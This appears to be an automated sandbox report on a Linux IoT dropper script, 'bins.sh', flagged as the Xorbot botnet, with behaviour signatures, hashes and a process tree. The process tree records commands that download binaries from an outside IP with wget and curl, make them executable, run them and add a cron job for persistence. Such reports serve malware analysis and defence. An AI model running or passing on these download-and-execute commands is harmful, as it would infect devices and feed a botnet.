Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20250619-en
  • resource tags

    arch:armhfimage:debian9-armhf-20250619-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    10/09/2025, 21:32

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250910-1d2rtatzhs
  • SHA256 63ca86a8ed88f82eacad91d7e16454e7ee0a1384098b9e3a4641c14baa54debf
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
antivmbotnetdefense_evasiondiscoveryexecutionxorbotpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 2 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (1084) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 4 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 10 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:644
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:649
      • /usr/bin/wget
        wget http://178.16.54.252/bins/WZTJzwFDVCFcbzsF01QLoO3EVegf73aaSz
        2⤵
        • Writes file to tmp directory
        PID:653
      • /usr/bin/curl
        curl -O http://178.16.54.252/bins/WZTJzwFDVCFcbzsF01QLoO3EVegf73aaSz
        2⤵
        • Checks CPU configuration
        • Writes file to tmp directory
        PID:674
      • /bin/busybox
        /bin/busybox wget http://178.16.54.252/bins/WZTJzwFDVCFcbzsF01QLoO3EVegf73aaSz
        2⤵
        • Writes file to tmp directory
        PID:675
      • /bin/chmod
        chmod 777 WZTJzwFDVCFcbzsF01QLoO3EVegf73aaSz
        2⤵
        • File and Directory Permissions Modification
        PID:686
      • /tmp/WZTJzwFDVCFcbzsF01QLoO3EVegf73aaSz
        ./WZTJzwFDVCFcbzsF01QLoO3EVegf73aaSz
        2⤵
          PID:688
        • /bin/rm
          rm WZTJzwFDVCFcbzsF01QLoO3EVegf73aaSz
          2⤵
            PID:691
          • /usr/bin/wget
            wget http://178.16.54.252/bins/yiqAVpC165JzJUtfbXUM1xvCcVLZ8qI2ms
            2⤵
            • Writes file to tmp directory
            PID:692
          • /usr/bin/curl
            curl -O http://178.16.54.252/bins/yiqAVpC165JzJUtfbXUM1xvCcVLZ8qI2ms
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:720
          • /bin/busybox
            /bin/busybox wget http://178.16.54.252/bins/yiqAVpC165JzJUtfbXUM1xvCcVLZ8qI2ms
            2⤵
            • Writes file to tmp directory
            PID:727
          • /bin/chmod
            chmod 777 yiqAVpC165JzJUtfbXUM1xvCcVLZ8qI2ms
            2⤵
            • File and Directory Permissions Modification
            PID:728
          • /tmp/yiqAVpC165JzJUtfbXUM1xvCcVLZ8qI2ms
            ./yiqAVpC165JzJUtfbXUM1xvCcVLZ8qI2ms
            2⤵
              PID:729
            • /bin/rm
              rm yiqAVpC165JzJUtfbXUM1xvCcVLZ8qI2ms
              2⤵
                PID:731
              • /usr/bin/wget
                wget http://178.16.54.252/bins/iiBPwiArAtsjB5GkZe78YXXGm2Fw3twI2u
                2⤵
                • Writes file to tmp directory
                PID:732
              • /usr/bin/curl
                curl -O http://178.16.54.252/bins/iiBPwiArAtsjB5GkZe78YXXGm2Fw3twI2u
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:753
              • /bin/busybox
                /bin/busybox wget http://178.16.54.252/bins/iiBPwiArAtsjB5GkZe78YXXGm2Fw3twI2u
                2⤵
                • Writes file to tmp directory
                PID:764
              • /bin/chmod
                chmod 777 iiBPwiArAtsjB5GkZe78YXXGm2Fw3twI2u
                2⤵
                • File and Directory Permissions Modification
                PID:765
              • /tmp/iiBPwiArAtsjB5GkZe78YXXGm2Fw3twI2u
                ./iiBPwiArAtsjB5GkZe78YXXGm2Fw3twI2u
                2⤵
                • Renames itself
                • Reads runtime system information
                PID:766
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:768
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:769
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:770
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          • Reads runtime system information
                          PID:771
                    • /bin/rm
                      rm iiBPwiArAtsjB5GkZe78YXXGm2Fw3twI2u
                      2⤵
                        PID:773
                      • /usr/bin/wget
                        wget http://178.16.54.252/bins/W72WwxcF4YE3X8Fb5pCFHsNoi5Ey3FCWYU
                        2⤵
                          PID:776
                        • /usr/bin/curl
                          curl -O http://178.16.54.252/bins/W72WwxcF4YE3X8Fb5pCFHsNoi5Ey3FCWYU
                          2⤵
                          • Checks CPU configuration
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:777

                      Network

                            MITRE ATT&CK Enterprise v16

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            W72WwxcF4YE3X8Fb5pCFHsNoi5Ey3FCWYU
                            • Path /tmp/W72WwxcF4YE3X8Fb5pCFHsNoi5Ey3FCWYU
                            • Size 12KB
                            • SHA256 01060d4e1c3ce95933ac4bb589a4f3a3cbe3691a63eabb89e22163bd36ef376b
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            WZTJzwFDVCFcbzsF01QLoO3EVegf73aaSz
                            • Path /tmp/WZTJzwFDVCFcbzsF01QLoO3EVegf73aaSz
                            • Size 113KB
                            • SHA256 de5fb68023465cb5d8ace412e11032d98a41bd6af2a83245c046020530130496
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            iiBPwiArAtsjB5GkZe78YXXGm2Fw3twI2u
                            • Path /tmp/iiBPwiArAtsjB5GkZe78YXXGm2Fw3twI2u
                            • Size 178KB
                            • SHA256 9c683b0be86d4cd274a7a16073bdf092218f259b055a72f848d589574e9b8084
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            yiqAVpC165JzJUtfbXUM1xvCcVLZ8qI2ms
                            • Path /tmp/yiqAVpC165JzJUtfbXUM1xvCcVLZ8qI2ms
                            • Size 102KB
                            • SHA256 cb4a3665ebd12bdb094b9fc188793c67ec3008363a49b1dde00d488b54df984b
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            tmp.lyWG9a
                            • Path /var/spool/cron/crontabs/tmp.lyWG9a
                            • Size 210B
                            • SHA256 d7b9572d3c3fbcbb4e544fabe88d9b5c8fc058f280eda9ba75cbd01719480bc1
                            • MD5 SHA1 SHA512
                            Submit Download